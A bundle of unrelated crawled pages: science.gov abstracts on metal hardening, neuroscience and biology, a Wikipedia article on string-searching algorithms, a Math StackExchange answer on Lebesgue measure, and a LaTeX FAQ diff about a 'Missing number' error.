periglomerular neurons in the adult rat. Science.gov (United States) Tapia-Rodríguez, Miguel; Esquivelzeta-Rabell, José F; Gutiérrez-Ospina, Gabriel 2012-12-01 The mammalian brain preserves the ability to replace olfactory periglomerular cells (PGC) throughout life. Even though we have detailed a great deal the mechanisms underlying stem and amplifying cells maintenance and proliferation, as well as those modulating migration and differentiation, our knowledge on PGC phenotypic plasticity is at best fragmented and controversial. Here we explored whether chronically reinforced olfactory conditioning influences the phenotype of newborn PGC. Accordingly, olfactory conditioned rats showed increased numbers of GAD 65/67 positive PGC. Because such phenotypic change was not accompanied neither by increments in the total number of PGC, or periglomerular cell nuclei labeled with bromodeoxyuridine, nor by reductions in the number of tyrosine hydroxylase (TH), calbindin (CB) or calretinin (CR) immunoreactive PGC, we speculate that increments in the number of GABAergic PGC occur at the expense of other PGC phenotypes. In any event, these results support that adult newborn PGC phenotype may be subjected to phenotypic plasticity influenced by sensory stimulation. Copyright © 2012 Elsevier B.V. All rights reserved. 6. The mechanical problems on additive manufacturing of viscoelastic solids with integral conditions on a surface increasing in the growth process Science.gov (United States) Parshin, D. A.; Manzhirov, A. V. 2018-04-01 Quasistatic mechanical problems on additive manufacturing aging viscoelastic solids are investigated. The processes of piecewise-continuous accretion of such solids are considered. The consideration is carried out in the framework of linear mechanics of growing solids. A theorem about commutativity of the integration over an arbitrary surface increasing in the solid growing process and the time-derived integral operator of viscoelasticity with a limit depending on the solid point is proved. This theorem provides an efficient way to construct on the basis of Saint-Venant principle solutions of nonclassical boundary-value problems for describing the mechanical behaviour of additively formed solids with integral satisfaction of boundary conditions on the surfaces expanding due to the additional material influx to the formed solid. The constructed solutions will retrace the evolution of the stress-strain state of the solids under consideration during and after the processes of their additive formation. An example of applying the proved theorem is given. 7. Increase of glucocorticoids is not required for the acquisition, but hinders the extinction, of lithium-induced conditioned taste aversion. Science.gov (United States) Kim, Kyu-Nam; Kim, Bom-Taeck; Kim, Young-Sang; Lee, Jong-Ho; Jahng, Jeong Won 2014-05-05 8. Increased heme synthesis in yeast induces a metabolic switch from fermentation to respiration even under conditions of glucose repression. Science.gov (United States) Zhang, Tiantian; Bu, Pengli; Zeng, Joey; Vancura, Ales 2017-10-13 Regulation of mitochondrial biogenesis and respiration is a complex process that involves several signaling pathways and transcription factors as well as communication between the nuclear and mitochondrial genomes. Under aerobic conditions, the budding yeast Saccharomyces cerevisiae metabolizes glucose predominantly by glycolysis and fermentation. We have recently shown that altered chromatin structure in yeast induces respiration by a mechanism that requires transport and metabolism of pyruvate in mitochondria. However, how pyruvate controls the transcriptional responses underlying the metabolic switch from fermentation to respiration is unknown. Here, we report that this pyruvate effect involves heme. We found that heme induces transcription of HAP4 , the transcriptional activation subunit of the Hap2/3/4/5p complex, required for growth on nonfermentable carbon sources, in a Hap1p- and Hap2/3/4/5p-dependent manner. Increasing cellular heme levels by inactivating ROX1 , which encodes a repressor of many hypoxic genes, or by overexpressing HEM3 or HEM12 induced respiration and elevated ATP levels. Increased heme synthesis, even under conditions of glucose repression, activated Hap1p and the Hap2/3/4/5p complex and induced transcription of HAP4 and genes required for the tricarboxylic acid (TCA) cycle, electron transport chain, and oxidative phosphorylation, leading to a switch from fermentation to respiration. Conversely, inhibiting metabolic flux into the TCA cycle reduced cellular heme levels and HAP4 transcription. Together, our results indicate that the glucose-mediated repression of respiration in budding yeast is at least partly due to the low cellular heme level. © 2017 by The American Society for Biochemistry and Molecular Biology, Inc. 9. Total dose and dose rate radiation characterization of EPI-CMOS radiation hardened memory and microprocessor devices International Nuclear Information System (INIS) Gingerich, B.L.; Hermsen, J.M.; Lee, J.C.; Schroeder, J.E. 1984-01-01 The process, circuit discription, and total dose radiation characteristics are presented for two second generation hardened 4K EPI-CMOS RAMs and a first generation 80C85 microprocessor. Total dose radiation performance is presented to 10M rad-Si and effects of biasing and operating conditions are discussed. The dose rate sensitivity of the 4K RAMs is also presented along with single event upset (SEU) test data 10. Study of the mechanisms involved in the laser superficial hardening process of metallic alloys; Estudo dos mecanismos envolvidos no processo de endurecimento superficial a laser de ligas metalicas Energy Technology Data Exchange (ETDEWEB) Silva, Edmara Marques Rodrigues da 2001-07-01 The laser superficial hardening process of a ferrous alloy (gray cast iron) and of an aluminum-silicon alloy was investigated in this work. These metallic alloys are used in the automobile industry for manufacturing cylinders and pistons, respectively. By application of individual pulses and single tracks, the involved mechanisms during the processing were studied. Variables such as energy density, power density, temporal width, beam diameter on the sample surface, atmosphere of the processing region, overlapping and scanning velocity. The hardened surface was characterized by optical and scanning electronic microscopy, dispersive energy microanalysis, X-ray mapping, X-ray diffraction, and measurements of roughness and Vickers microhardness. Depending on the processing parameters, it is possible to obtain different microstructures. The affected area of gray cast iron, can be hardened by remelting or transformation hardening (total or partial) if the reached temperature is higher or not that of melting temperature. Laser treatment originated new structures such as retained austenite, martensite and, occasionally, eutectic of cellular dendritic structure. Aluminum-silicon alloy does not have phase transformation in solid state, it can be hardened only by remelting. The increase of hardness is a function of the precipitation hardening process, which makes the silicon particles smaller and more disperse in the matrix. Maximal values of microhardness (700-1000 HV) were reached with the laser treatment in gray cast iron samples. The initial microhardness is of 242 HV. For aluminum-silicon alloy, the laser remelting increases the initial microhardness of 128 HV to the range of 160-320 HV. The found results give a new perspective for using the CLA/IPEN's laser in the heat treatment area. Besides providing a higher absorptivity to the materials, compared with the CO{sub 2} laser, and optical fiber access, the superficial hardening with Nd:YAG laser, depending on the 11. Effect of raw materials and hardening process on hardness of manually forged knife Science.gov (United States) Balkhaya, Suwarno 2017-06-01 Knives are normally made by forging process either using a machine or traditional method by means of hammering process. This present work was conducted to study the effects of steel raw materials and hardening process on the hardness of manually forged knives. The knife samples were made by traditional hammering (forging) process done by local blacksmith. Afterward, the samples were heat treated with two different hardening procedures, the first was based on the blacksmith procedure and the second was systematically done at the laboratory. The forging was done in the temperature ranged between 900-950°C, while the final temperature ranged between 650-675°C. The results showed that knives made of spring steel and heat treated in simulated condition at the laboratory obtained higher level of hardness, i.e. 62 HRC. In general, knives heat treated by local blacksmith had lower level of hardness that those obtained from simulated condition. Therefore, we concluded that the traditional knife quality in term of hardness can be improved by optimizing the heat treatment schedule. 12. Nano Precipitation and Hardening of Die-Quenched 6061 Aluminum Alloy. Science.gov (United States) Utsunomiya, Hiroshi; Tada, Koki; Matsumoto, Ryo; Watanabe, Katsumi; Matsuda, Kenji 2018-03-01 Die quenching is applied to an age-hardenable aluminium alloys to obtain super-saturated solid solution. The application is advantageous because it can reduce number of manufacturing processes, and may increase strength by strain aging. If die quenching is realized in forging as well as sheet forming, it may widen industrial applicability further. In this study, Al-Mg-Si alloy AA6061 8 mm-thick billets were reduced 50% in height without cracks by die-quench forging. Supersaturated solid solution was successfully obtained. The die-quenched specimen shows higher hardness with nano precipitates at shorter aging time than the conventional water-quenched specimen. 13. Process parameter optimization based on principal components analysis during machining of hardened steel Directory of Open Access Journals (Sweden) Suryakant B. Chandgude 2015-09-01 Full Text Available The optimum selection of process parameters has played an important role for improving the surface finish, minimizing tool wear, increasing material removal rate and reducing machining time of any machining process. In this paper, optimum parameters while machining AISI D2 hardened steel using solid carbide TiAlN coated end mill has been investigated. For optimization of process parameters along with multiple quality characteristics, principal components analysis method has been adopted in this work. The confirmation experiments have revealed that to improve performance of cutting; principal components analysis method would be a useful tool. 14. Increased PSA expression on prostate cancer exosomes in in vitro condition and in cancer patients. Science.gov (United States) Logozzi, Mariantonia; Angelini, Daniela F; Iessi, Elisabetta; Mizzoni, Davide; Di Raimo, Rossella; Federici, Cristina; Lugini, Luana; Borsellino, Giovanna; Gentilucci, Alessandro; Pierella, Federico; Marzio, Vittorio; Sciarra, Alessandro; Battistini, Luca; Fais, Stefano 2017-09-10 Prostate specific antigen (PSA) test is the most common, clinically validated test for the diagnosis of prostate cancer (PCa). While neoplastic lesions of the prostate may cause aberrant levels of PSA in the blood, the quantitation of free or complexed PSA poorly discriminates cancer patients from those developing benign lesions, often leading to invasive and unnecessary surgical procedures. Microenvironmental acidity increases exosome release by cancer cells. In this study we evaluated whether acidity, a critical phenotype of malignancy, could influence exosome release and increase the PSA expression in nanovesicles released by PCa cells. To this aim, we exploited Nanoparticle Tracking Analysis (NTA), an immunocapture-based ELISA, and nanoscale flow-cytometry. The results show that microenvironmental acidity induces an increased release of nanovesicles expressing both PSA and the exosome marker CD81. In order to verify whether the changes induced by the local selective pressure of extracellular acidity may correspond to a clinical pathway we used the same approach to evaluate the levels of PSA-expressing exosomes in the plasma of PCa patients and controls, including subjects with benign prostatic hypertrophy (BPH). The results show that only PCa patients have high levels of nanovesicles expressing both CD81 and PSA. This study shows that tumor acidity exerts a selective pressure leading to the release of extracellular vesicles that express both PSA and exosome markers. A comparable scenario was shown in the plasma of prostate cancer patients as compared to both BPH and healthy controls. These results suggest that microenvironmental acidity may represent a key factor which determines qualitatively and quantitatively the release of extracellular vesicles by malignant tumors, including prostate cancer. This condition leads to the spill-over of nanovesicles into the peripheral blood of prostate cancer patients, where the levels of tumor biomarkers expressed by 15. The improvement of the technology and equipment for the utilization of solid industrial wastes by means of adding them to the cast of hardening filling mixtures Directory of Open Access Journals (Sweden) E. P. Volkov 2017-12-01 Full Text Available The article provides an assessment of mining operations in underground mines which apply backfill systems, as well as the volume of enrichment waste accumulated during the exploitation of ore deposits. The use of high-quality cement and expensive inert fillers by many mining companies significantly increases the cost of backfill, while the technologies for increasing the activity of the binder are only partially used. The adoption of low-quality binders (cement and milled granulated slags, the investigation of new economically advantageous technologies for producing filling mixtures, as well as the use of binders and fillers, which can be used as tails of enrichment waste, will promote the spreading of backfill systems. In the practice of mining, it is an urgent task, which should be solved. This solution will significantly expand the raw material base of many mining enterprises; it will also increase their efficiency and address environmental protection issues. The conditions and regularities of increasing the reaction properties of many dump products, changing their rheological properties in time, as well as ways to create, and maintain the activity of the filling mixture during its preparation and pipeline transportation, remain insufficiently studied. We also consider the concept of improving the systems of pipeline transportation of cast hardening of filling mixtures to ensure reliable and uninterrupted delivery of the obtained backfilling mixtures with the reduced water content. It is associated with the use of the special hydrodynamic actuators mounted on a backfilling pipeline. As the activating devices the original patented designs of activators providing high efficiency of restoration of rheological properties of stowage mixes at their transportation on the underground stowage pipeline are offered and described. Based on the theoretical justification of the proposed design solutions, we can conclude that the proposed trigger device 16. Accurate hardening modeling as basis for the realistic simulation of sheet forming processes with complex strain-path changes International Nuclear Information System (INIS) 2007-01-01 Sheet metal forming involves large strains and severe strain-path changes. Large plastic strains lead in many metals to the development of persistent dislocation structures resulting in strong flow anisotropy. This induced anisotropic behavior manifests itself in the case of a strain path change through very different stress-strain responses depending on the type of the strain-path change. While many metals exhibit a drop of the yield stress (Bauschinger effect) after a load reversal, some metals show an increase of the yield stress after an orthogonal strain-path change (so-called cross hardening). To model the Bauschinger effect, kinematic hardening has been successfully used for years. However, the usage of the kinematic hardening leads automatically to a drop of the yield stress after an orthogonal strain-path change contradicting tests exhibiting the cross hardening effect. Another effect, not accounted for in the classical elasto-plasticity, is the difference between the tensile and compressive strength, exhibited e.g. by some steel materials. In this work we present a phenomenological material model whose structure is motivated by polycrystalline modeling that takes into account the evolution of polarized dislocation structures on the grain level - the main cause of the induced flow anisotropy on the macroscopic level. The model considers besides the movement of the yield surface and its proportional expansion, as it is the case in conventional plasticity, also the changes of the yield surface shape (distortional hardening) and accounts for the pressure dependence of the flow stress. All these additional attributes turn out to be essential to model the stress-strain response of dual phase high strength steels subjected to non-proportional loading 17. Design cost scoping studies. Nevada Test Site Terminal Waste Storage Program, Subtask 1.3: facility hardening studies International Nuclear Information System (INIS) Yanev, P.I.; Owen, G.N. 1978-04-01 18. Accurate Hardening Modeling As Basis For The Realistic Simulation Of Sheet Forming Processes With Complex Strain-Path Changes International Nuclear Information System (INIS) 2007-01-01 Sheet metal forming involves large strains and severe strain-path changes. Large plastic strains lead in many metals to the development of persistent dislocation structures resulting in strong flow anisotropy. This induced anisotropic behavior manifests itself in the case of a strain path change through very different stress-strain responses depending on the type of the strain-path change. While many metals exhibit a drop of the yield stress (Bauschinger effect) after a load reversal, some metals show an increase of the yield stress after an orthogonal strain-path change (so-called cross hardening). To model the Bauschinger effect, kinematic hardening has been successfully used for years. However, the usage of the kinematic hardening leads automatically to a drop of the yield stress after an orthogonal strain-path change contradicting tests exhibiting the cross hardening effect. Another effect, not accounted for in the classical elasto-plasticity, is the difference between the tensile and compressive strength, exhibited e.g. by some steel materials. In this work we present a phenomenological material model whose structure is motivated by polycrystalline modeling that takes into account the evolution of polarized dislocation structures on the grain level - the main cause of the induced flow anisotropy on the macroscopic level. The model considers besides the movement of the yield surface and its proportional expansion, as it is the case in conventional plasticity, also the changes of the yield surface shape (distortional hardening) and accounts for the pressure dependence of the flow stress. All these additional attributes turn out to be essential to model the stress-strain response of dual phase high strength steels subjected to non-proportional loading 19. Repeated exposure to conditioned fear stress increases anxiety and delays sleep recovery following exposure to an acute traumatic stressor Directory of Open Access Journals (Sweden) Benjamin N Greenwood 2014-10-01 Full Text Available Repeated stressor exposure can sensitize physiological responses to novel stressors and facilitate the development of stress-related psychiatric disorders including anxiety. Disruptions in diurnal rhythms of sleep-wake behavior accompany stress-related psychiatric disorders and could contribute to their development. Complex stressors that include fear-eliciting stimuli can be a component of repeated stress experienced by humans, but whether exposure to repeated fear can prime the development of anxiety and sleep disturbances is unknown. In the current study, adult male F344 rats were exposed to either control conditions or repeated contextual fear conditioning for 22 days followed by exposure to either no, mild (10, or severe (100 acute uncontrollable tail shock stress. Exposure to acute stress produced anxiety-like behavior as measured by a reduction in juvenile social exploration and exaggerated shock-elicited freezing in a novel context. Prior exposure to repeated fear enhanced anxiety-like behavior as measured by shock-elicited freezing, but did not alter social exploratory behavior. The potentiation of anxiety produced by prior repeated fear was temporary; exaggerated fear was present 1 day but not 4 days following acute stress. Interestingly, exposure to acute stress reduced REM and NREM sleep during the hours immediately following acute stress. This initial reduction in sleep was followed by robust REM rebound and diurnal rhythm flattening of sleep / wake behavior. Prior repeated fear extended the acute stress-induced REM and NREM sleep loss, impaired REM rebound, and prolonged the flattening of the diurnal rhythm of NREM sleep following acute stressor exposure. These data suggest that impaired recovery of sleep / wake behavior following acute stress could contribute to the mechanisms by which a history of prior repeated stress increases vulnerability to subsequent novel stressors and stress-related disorders. 20. Age-hardening and related phase transformation in an experimental Ag-Cu-Pd-Au alloy International Nuclear Information System (INIS) Seol, Hyo-Joung; Lee, Doung-Hun; Lee, Hee-Kyung; Takada, Yukyo; Okuno, Osamu; Kwon, Yong Hoon; Kim, Hyung-Il 2006-01-01 The age-hardening behaviour, phase transformation and related microstructural changes of an experimental Ag-Cu-Pd-Au alloy were examined by means of hardness test, X-ray diffraction (XRD), scanning electron microscopic (SEM) observations and electron probe microanalysis (EPMA). The specimen alloy showed apparent age-hardenability at the aging temperatures of 350 deg. C and 400 deg. C. By aging the solution-treated specimen at 400 deg. C, two phases of the Ag-rich α 1 phase and the Pd-containing Cu-rich α 2 phase were transformed into four phases of the Ag-rich α 1 ' phase, the Cu-rich α 2 ' phase, the CsCl-type CuPd phase and the AuCu(I) ordered phase. Microstructure of the solution-treated specimen consisted of the Ag-rich α 1 matrix, Cu-rich α 2 particle-like structures of various sizes and the lamellar structure of the α 1 and α 2 phases. When the peak hardness was obtained, the very fine lamellar structure consisting of the Ag-rich α 1 ' and Cu-rich α 2 ' phases was newly formed in the matrix. By further aging, the very fine lamellar structure grew and coarsened apparently, and the matrix was covered with the coarsened lamellar structure. The hardness increase was considered to be caused mainly by the diffusion and precipitation of Cu from the Ag-rich α 1 matrix, and the hardness decrease in the latter stage of age-hardening process was caused by the coarsening of the very fine lamellar structure. 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https://en.wikipedia.org/wiki/Text_searching	# String searching algorithm (Redirected from Text searching) In computer science, string searching algorithms, sometimes called string matching algorithms, are an important class of string algorithms that try to find a place where one or several strings (also called patterns) are found within a larger string or text. Let Σ be an alphabet (finite set). Formally, both the pattern and searched text are vectors of elements of Σ. The Σ may be a usual human alphabet (for example, the letters A through Z in the Latin alphabet). Other applications may use binary alphabet (Σ = {0,1}) or DNA alphabet (Σ = {A,C,G,T}) in bioinformatics. In practice, how the string is encoded can affect the feasible string search algorithms. In particular if a variable width encoding is in use then it is slow (time proportional to N) to find the Nth character. This will significantly slow down many of the more advanced search algorithms. A possible solution is to search for the sequence of code units instead, but doing so may produce false matches unless the encoding is specifically designed to avoid it. ## Basic classification The various algorithms can be classified by the number of patterns each uses. ### Single pattern algorithms Let m be the length of the pattern, n be the length of the searchable text and k = \|Σ\| be the size of the alphabet. Algorithm Preprocessing time Matching time[1] Naïve string search algorithm 0 (no preprocessing) Θ(nm) Rabin–Karp string search algorithm Θ(m) average Θ(n + m), worst Θ((n−m)m) Finite-state automaton based search Θ(mk) Θ(n) Knuth–Morris–Pratt algorithm Θ(m) Θ(n) Boyer–Moore string search algorithm Θ(m + k) best Ω(n/m), worst O(n) Bitap algorithm (shift-or, shift-and, Baeza–Yates–Gonnet) Θ(m + k) O(mn) Two-way string-matching algorithm Θ(m) O(n+m) 1.^ Asymptotic times are expressed using O, Ω, and Θ notation. The Boyer–Moore string search algorithm has been the standard benchmark for the practical string search literature.[1] ### Algorithms using an infinite number of patterns Naturally, the patterns can not be enumerated finitely in this case. They are represented usually by a regular grammar or regular expression. ## Other classification Other classification approaches are possible. One of the most common uses preprocessing as main criteria. Classes of string searching algorithms[2] Text not preprocessed Text preprocessed Patterns not preprocessed Elementary algorithms Index methods Patterns preprocessed Constructed search engines Signature methods ### Naïve string search A simple but inefficient way to see where one string occurs inside another is to check each place it could be, one by one, to see if it's there. So first we see if there's a copy of the needle in the first character of the haystack; if not, we look to see if there's a copy of the needle starting at the second character of the haystack; if not, we look starting at the third character, and so forth. In the normal case, we only have to look at one or two characters for each wrong position to see that it is a wrong position, so in the average case, this takes O(n + m) steps, where n is the length of the haystack and m is the length of the needle; but in the worst case, searching for a string like "aaaab" in a string like "aaaaaaaaab", it takes O(nm) ### Finite state automaton based search In this approach, we avoid backtracking by constructing a deterministic finite automaton (DFA) that recognizes stored search string. These are expensive to construct—they are usually created using the powerset construction—but are very quick to use. For example, the DFA shown to the right recognizes the word "MOMMY". This approach is frequently generalized in practice to search for arbitrary regular expressions. ### Stubs Knuth–Morris–Pratt computes a DFA that recognizes inputs with the string to search for as a suffix, Boyer–Moore starts searching from the end of the needle, so it can usually jump ahead a whole needle-length at each step. Baeza–Yates keeps track of whether the previous j characters were a prefix of the search string, and is therefore adaptable to fuzzy string searching. The bitap algorithm is an application of Baeza–Yates' approach. ### Index methods Faster search algorithms are based on preprocessing of the text. After building a substring index, for example a suffix tree or suffix array, the occurrences of a pattern can be found quickly. As an example, a suffix tree can be built in ${\displaystyle \Theta (n)}$ time, and all ${\displaystyle z}$ occurrences of a pattern can be found in ${\displaystyle O(m)}$ time under the assumption that the alphabet has a constant size and all inner nodes in the suffix tree know what leaves are underneath them. The latter can be accomplished by running a DFS algorithm from the root of the suffix tree. ### Other variants Some search methods, for instance trigram search, are intended to find a "closeness" score between the search string and the text rather than a "match/non-match". These are sometimes called "fuzzy" searches.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 3, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5696836113929749, "perplexity": 1201.228956819067}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-30/segments/1469257823996.40/warc/CC-MAIN-20160723071023-00110-ip-10-185-27-174.ec2.internal.warc.gz"}
http://math.stackexchange.com/questions/165904/lebesgue-measure-of-x-y-z-in-mathbb-r-3-x-in-mathbb-r-0-leq-y-le	# lebesgue measure of $\{ (x,y,z) \in \mathbb R ^3 : x \in \mathbb R, 0 \leq y \leq 10, z \in \mathbb Z \}$ Find the lebesgue measure of the set: $$\Bigl\{ (x,y,z) \in \mathbb R ^3 : x \in \mathbb R, \quad 0 \leq y \leq 10, \quad z \in \mathbb Z \Bigr\}$$ I think is a null set but for some reason I have stuck and I can't write down a complete solution. Any help? - Well, technically the Lebesgue measure assigns a number (not a set) to your set, so you must be thinking of measure zero". What do you know about product measures / the Lebesgue measure of a countable set in $\mathbb{R}?$ – user17794 Jul 2 '12 at 23:03 @TimDuff: The Lebesgue measure of a countable set in $\mathbb R$ is zero. What do you mean by product measures? – passenger Jul 2 '12 at 23:05 $$M:=\{(x,y,z) \in \mathbb{R}^3:\ x \in \mathbb{R}, \ 0 \le y \le 10, \ z \in \mathbb{Z}\}= \bigcup_{i,j \in \mathbb{Z}}M_{i,j},$$ where each $M_{ij}:=[i,i+1]\times[0,10]\times\{k\}$ has measure $0$ since for every $\epsilon>0$ one has $M_{ij} \subset M_{ij}^\epsilon:=[i,i+1]\times[0,10]\times[-\epsilon/20,\epsilon/20]$ and $\|M_{ij}^\epsilon\|=\epsilon$. Therefore $M$ is a countable union of null sets, and thus $M$ is a set of measure $0$. - Thank you very much for your solution! – passenger Jul 2 '12 at 23:10 You can use countable additivity of Lebesgue measure along the $x$-axis and $z$-axis. Specifically your set is the disjoint union $\cup_{n,z\in\mathbb Z}\{(x,y,z)\| x\in (n,n+1], y\in[0,10]\},$ each of these having measure $0.$ - Thank you for your answer! – passenger Jul 2 '12 at 23:10 You're welcome! – Andrew Jul 2 '12 at 23:31 Let's call the set $X$. The Lebesgue measure $m$ is inner and outer-regular, so in order to show $m(X)=0$ we need only show that any compact subset $C$ of $X$ has measure $0$, which in turn we can do by showing that for any $\epsilon>0$ there is an open set $U\supset C$ with $m(U)<\epsilon$. Since $C$ is compact, it must be bounded, thus we have upper bounds for $\|x\|$ and $\|z\|$. Let's denote these $M_x$ and $M_z$. Note that $$C\subseteq C'=\bigcup\limits_{z=-M_z}^{M_z} [-M_x,M_x]\times [0,10]\times \{z\}$$ and since $m$ is monotonic $m(C)\leq m(C')$. To see that $m(C')=0$, let $$U_n=\bigcup\limits_{z=-M_z}^{M_z} (-M_x-1,M_x+1)\times (-1,11)\times (z-1/n,z+1/n)$$ which is open and a finite union of rectangles, so its measure is easy to calculate. Specifically, $m(U_n)=(2M_x+2)\times12\times 2/n$, which goes to $0$ as $n\to \infty$. Thus $m(C')=0$ so $m(C)=0$ for any compact set $C\subseteq X$, hence $m(X)=0$.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9942283630371094, "perplexity": 142.67230456123747}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-23/segments/1405997860453.15/warc/CC-MAIN-20140722025740-00166-ip-10-33-131-23.ec2.internal.warc.gz"}
https://faq.gutenberg.eu.org/2_programmation/erreurs/missing_number_treated_as_zero?do=diff&rev2%5B0%5D=1528031035&rev2%5B1%5D=1610295386&difftype=sidebyside	# Différences Ci-dessous, les différences entre deux révisions de la page. 2_programmation:erreurs:missing_number_treated_as_zero [2018/06/03 15:03]joseph.wright 2_programmation:erreurs:missing_number_treated_as_zero [2021/01/10 17:16]jejust Suppression après fusion avec "generalites/erreurs/m/missing_number_treated_as_zero". Les deux révisions précédentes Révision précédente 2021/01/10 17:16 jejust Suppression après fusion avec "generalites/erreurs/m/missing_number_treated_as_zero".2018/12/04 01:32 jejust 2018/06/03 16:22 joseph.wright 2018/06/03 16:17 samcarter 2018/06/03 15:34 d.p.carlisle 2018/06/03 15:32 samcarter 2018/06/03 15:17 samcarter 2018/06/03 15:16 joseph.wright 2018/06/03 15:16 d.p.carlisle 2018/06/03 15:12 samcarter 2018/06/03 15:03 joseph.wright 2018/06/03 15:02 samcarter 2018/06/03 14:58 joseph.wright 2018/06/03 11:59 d.p.carlisle 2018/06/02 17:35 joseph.wright 2018/06/02 16:44 d.p.carlisle 2018/05/25 23:18 joseph.wright 2018/05/25 21:32 joseph.wright 2018/05/25 10:58 joseph.wright 2018/05/25 10:56 joseph.wright 2018/05/25 00:03 joseph.wright 2018/05/25 00:03 joseph.wright 2018/05/24 19:49 joseph.wright 2018/05/24 19:07 joseph.wright 2018/05/24 18:58 joseph.wright 2018/05/24 10:39 joseph.wright 2018/05/24 10:39 joseph.wright 2018/05/24 10:30 joseph.wright 2018/05/23 23:26 joseph.wright 2018/05/23 23:20 joseph.wright 2018/05/23 22:26 joseph.wright 2018/05/23 18:47 joseph.wright 2018/05/23 15:55 d.p.carlisle 2018/05/22 21:40 joseph.wright 2018/05/22 13:35 joseph.wright créée Go Prochaine révision Révision précédente 2021/01/10 17:16 jejust Suppression après fusion avec "generalites/erreurs/m/missing_number_treated_as_zero".2018/12/04 01:32 jejust 2018/06/03 16:22 joseph.wright 2018/06/03 16:17 samcarter 2018/06/03 15:34 d.p.carlisle 2018/06/03 15:32 samcarter 2018/06/03 15:17 samcarter 2018/06/03 15:16 joseph.wright 2018/06/03 15:16 d.p.carlisle 2018/06/03 15:12 samcarter 2018/06/03 15:03 joseph.wright 2018/06/03 15:02 samcarter 2018/06/03 14:58 joseph.wright 2018/06/03 11:59 d.p.carlisle 2018/06/02 17:35 joseph.wright 2018/06/02 16:44 d.p.carlisle 2018/05/25 23:18 joseph.wright 2018/05/25 21:32 joseph.wright 2018/05/25 10:58 joseph.wright 2018/05/25 10:56 joseph.wright 2018/05/25 00:03 joseph.wright 2018/05/25 00:03 joseph.wright 2018/05/24 19:49 joseph.wright 2018/05/24 19:07 joseph.wright 2018/05/24 18:58 joseph.wright 2018/05/24 10:39 joseph.wright 2018/05/24 10:39 joseph.wright 2018/05/24 10:30 joseph.wright 2018/05/23 23:26 joseph.wright 2018/05/23 23:20 joseph.wright 2018/05/23 22:26 joseph.wright 2018/05/23 18:47 joseph.wright 2018/05/23 15:55 d.p.carlisle 2018/05/22 21:40 joseph.wright 2018/05/22 13:35 joseph.wright créée Go Ligne 1: Ligne 1: - --- + ====== "Missing number, treated as zero" ====== - title: "Missing number, treated as zero" + - category: errors + - permalink: /FAQ-nonum + - --- + In general, this means you've tried to assign something to a count, In general, this means you've tried to assign something to a count, dimension or skip register that isn't (in TeX's view of things) a dimension or skip register that isn't (in TeX's view of things) a number. Usually the problem will become clear using the number. Usually the problem will become clear using the - [ordinary techniques of examining errors](FAQ-erroradvice). + [[FAQ-erroradvice\|ordinary techniques of examining errors]]. Two LaTeX-specific errors are commonly aired on the newsgroups. Two LaTeX-specific errors are commonly aired on the newsgroups. The commonest arises from attempting to use an example from the The commonest arises from attempting to use an example from the - [_The LaTeX Companion_ (first edition)](FAQ-latex-books), and is + [[FAQ-latex-books\|//The LaTeX Companion// (first edition)]], and is exemplified by the following error text: exemplified by the following error text: - latex + + <code latex> ! Missing number, treated as zero. ! Missing number, treated as zero. \relax \relax l.21 \begin{Ventry}{Return values} l.21 \begin{Ventry}{Return values} - + The problem arises because, in its first edition, the The problem arises because, in its first edition, the - _Companion_'s examples always assumed that the [calc](https://ctan.org/pkg/calc) + //Companion//'s examples always assumed that the [[ctanpkg>calc\|calc]] package is loaded: this fact is mentioned in the book, but often not package is loaded: this fact is mentioned in the book, but often not - noticed. The remedy is to load the [calc](https://ctan.org/pkg/calc) package in any + noticed. The remedy is to load the [[ctanpkg>calc\|calc]] package in any - document using such examples from the _Companion_. (The problem + document using such examples from the //Companion//. (The problem does not really arise with the second edition; copies of all the does not really arise with the second edition; copies of all the examples are available on the accompanying CD-ROM, or on examples are available on the accompanying CD-ROM, or on Ligne 32: Ligne 30: The other problem, which is increasingly rare nowadays, arises from The other problem, which is increasingly rare nowadays, arises from misconfiguration of a system that has been upgraded from LaTeX 2.09: misconfiguration of a system that has been upgraded from LaTeX 2.09: - the document uses the [times](https://ctan.org/pkg/times) package, and the error appears + the document uses the [[ctanpkg>times\|times]] package, and the error appears - at \begin{document}. The file search paths are wrongly set + at ''\begin{document}''. The file search paths are wrongly set - up, and your \usepackage{times} has picked up a LaTeX 2.09 + up, and your ''\usepackage{times}'' has picked up a LaTeX 2.09 version of the package, which in its turn has invoked another which version of the package, which in its turn has invoked another which has no equivalent in LaTeX2e. The obvious solution is to rewrite has no equivalent in LaTeX2e. The obvious solution is to rewrite the paths so that LaTeX 2.09 packages are chosen only as a last resort the paths so that LaTeX 2.09 packages are chosen only as a last resort - so that the startlingly simple LaTeX2e [times](https://ctan.org/pkg/times) package will + so that the startlingly simple LaTeX2e [[ctanpkg>times\|times]] package will be picked up. Better still is to replace the whole thing with be picked up. Better still is to replace the 